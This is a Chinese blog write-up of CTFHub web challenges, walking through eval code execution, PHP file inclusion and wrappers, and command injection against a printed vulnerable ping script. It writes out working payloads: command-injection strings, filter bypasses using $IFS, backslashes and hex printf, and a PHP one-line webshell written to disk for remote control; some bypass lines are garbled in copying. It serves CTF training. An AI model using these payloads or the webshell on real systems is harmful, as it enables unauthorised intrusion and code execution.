第四周 ctfhub

eval执行:

首先打开环境:
在这里插入图片描述
根据资料知道:
eval会把字符串当作php语言执行

所以:
执行:/?cmd=system(“ls …/”);

在这里插入图片描述
没有发现什么,在进行下返回上一目录:
在这里插入图片描述
没有发现什么,在进行下返回上一目录:
在这里插入图片描述
发现flag文件 cat它
/?cmd=system(“cat%20…/…/…/flag_2808”);
得到flag:
在这里插入图片描述
flag:
ctfhub{28beee06fe9f20d338cc83f4}


文件包含

:

根据题目可知到:
在这里插入图片描述
点开shell
在这里插入图片描述

Strops 查找字符串在字符串中第一次出现的位置:
所以可以构造一下file=shell.txt,
再往ctfhub里传参:
在这里插入图片描述

、没有发现flag
还是像上一题一样,一级一级的找
最后使用cat命令查看falg

在这里插入图片描述


php://input:

首先查看题目得到:
在这里插入图片描述
这题代码限制只能使用php开头的伪协议
查看phpinfo
在这里插入图片描述

所以利用burpsuit请求更改:
在这里插入图片描述
cat flag_12322 得到flag:
在这里插入图片描述
ctfhub{843d95072b099ef4b3aafddc}


远程包含:

此题同上题用burpsuit:
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
获得flag


读取源代码:

在这里插入图片描述
除了上一种没有想到什么别的思路,所以到网上查一下发现可以使用php伪协议中的filter协议
在这里插入图片描述
构造一下
在这里插入图片描述
得到flag


文件包含:


命令注入-无过滤:

在这里插入图片描述

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $cmd = "ping -c 4 {$_GET['ip']}";
    exec($cmd, $res);
}

?>

<!DOCTYPE html>
<html>
<head>
    <title>CTFHub 命令注入-无过滤</title>
</head>
<body>

<h1>CTFHub 命令注入-无过滤</h1>

<form action="#" method="GET">
    <label for="ip">IP : </label><br>
    <input type="text" id="ip" name="ip">
    <input type="submit" value="Ping">
</form>

<hr>

<pre>
<?php
if ($res) {
    print_r($res);
}
?>
</pre>

<?php
show_source(__FILE__);
?>

</body>
</html>

因为题目没有过滤,所以直接拼接就行了
输入127.0.0.1;ls,得到
在这里插入图片描述
发现有一个php文件
Cat查看
在这里插入图片描述
发现没有显示出来,猜测可能是编码的原因
在后面加上| base64
即可转换为base64编码输出,然后再解码得到flag
PD9waHAgLy8gY3RmaHViezY2NjJmMTYwNWJhOTcyMGUwYmVlZWZlY30K
在这里插入图片描述
也可拼接上传一句话木马,然后通过蚁剑链接,也能得到flag
127.0.0.1&echo"<?php @eval($_POST['1']);?>">1.php
但是蚁剑链接不上,经过查询,发现要修改成
127.0.0.1&echo -e “<?php @eval(\$_POST['1']);?>” > 1.php
echo命令会调用$_POST导致原始文件中没有


命令注入-过滤cat:

本题过滤掉了cat命令
可以使用连接符或者反斜杠来绕过,例如:ca\t,ca“t
其余步骤与上题一致
在这里插入图片描述
解码得到flag
也可使用蚁剑


命令注入-过滤空格:

在 bash 下, 可以用以下字符代替空格:<,<>,%20(space),%09(tab),$IFS$9, I F S , {IFS}, IFS,IFS 等
所以将空格替换即可得到flag


命令注入-过滤目录分隔符:

因为过滤了目录分隔符/
所以要切换到相应的目录才能cat到有flag的文件

在这里插入图片描述
先使用ls发先还包含了一个文件夹
Cd切换到那个文件夹
在这里插入图片描述
发现了php文件
还是像之前一样,cat出来


命令注入-过滤运算符:

在这里插入图片描述
发现过滤掉了很多运算符,但是;并没有过滤
所以可以照常使用


命令注入-综合练习:

通过查看源代码

在这里插入图片描述
发现过滤掉了很多东西,这时就可以对照表上的进行替换
在这里插入图片描述
在这里插入图片描述不知道怎么,在命令框中输入/?ip=127.0.0.1%0als#没有作用
所以在url里修改

在这里插入图片描述
因为flag也被过滤掉了
所以可以使用tab补全
也可以转换成16进制字符串绕过
发现空格替换为%20也不行
所以替换成 I F S 构 造 成 / ? i p = 127.0.0.1 {IFS} 构造成 /?ip=127.0.0.1%0aca''t IFS/?ip=127.0.0.1{IFS} ( p r i n t f (printf (printf{IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x66\x6c\x61\x67\x5f\x32\x38\x34\x30\x37\x32\x35\x32\x36\x31\x33\x30\x39\x37\x2e\x70\x68\x70 ")
或者/?ip=127.0.0.1%0acd%09*_is_here%0aca%5ct%09*_28407252613097.php
即可得到flag


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值